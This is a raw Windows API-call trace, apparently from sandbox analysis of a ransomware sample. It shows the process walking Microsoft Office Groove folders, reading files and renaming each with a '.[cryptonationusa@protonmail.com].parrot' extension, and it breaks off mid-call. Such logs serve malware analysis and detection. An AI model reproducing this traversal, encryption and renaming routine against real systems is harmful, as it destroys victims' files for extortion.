1 [0193.264] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.269] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.269] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.270] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.270] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x34f, lpOverlapped=0x0) returned 1 [0193.271] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.275] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.276] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.277] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x365, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x365, lpOverlapped=0x0) returned 1 [0193.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.282] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.282] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.284] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.284] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x34f, lpOverlapped=0x0) returned 1 [0193.284] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.288] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.289] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.290] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.290] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3ee, lpOverlapped=0x0) returned 1 [0193.290] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.294] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.294] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.296] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35f, lpOverlapped=0x0) returned 1 [0193.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.300] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.300] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.301] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.302] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xf1, lpOverlapped=0x0) returned 1 [0193.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.307] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.307] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.308] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.309] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35d, lpOverlapped=0x0) returned 1 [0193.309] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.313] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.313] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.315] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.315] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x352, lpOverlapped=0x0) returned 1 [0193.315] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.321] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.321] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.322] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x373, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x373, lpOverlapped=0x0) returned 1 [0193.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.326] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.326] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.327] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.327] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x26d, lpOverlapped=0x0) returned 1 [0193.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.332] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.332] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.333] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15162, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x15162, lpOverlapped=0x0) returned 1 [0193.337] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.343] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xefe7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xefe7, lpOverlapped=0x0) returned 1 [0193.346] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.352] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.352] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.388] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.389] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75aa, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x75aa, lpOverlapped=0x0) returned 1 [0193.391] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.401] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0193.401] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff4d0a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff4d0a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.402] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff13e980, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADDGIF~1.PAR")) returned 1 [0193.402] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0193.404] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.404] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.404] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.404] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.404] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIcon.jpg", cAlternateFileName="BRIEFC~1.JPG")) returned 1 [0193.405] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.405] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.406] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.407] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x140b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x140b, lpOverlapped=0x0) returned 1 [0193.408] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.414] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.414] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.416] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.416] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf76, 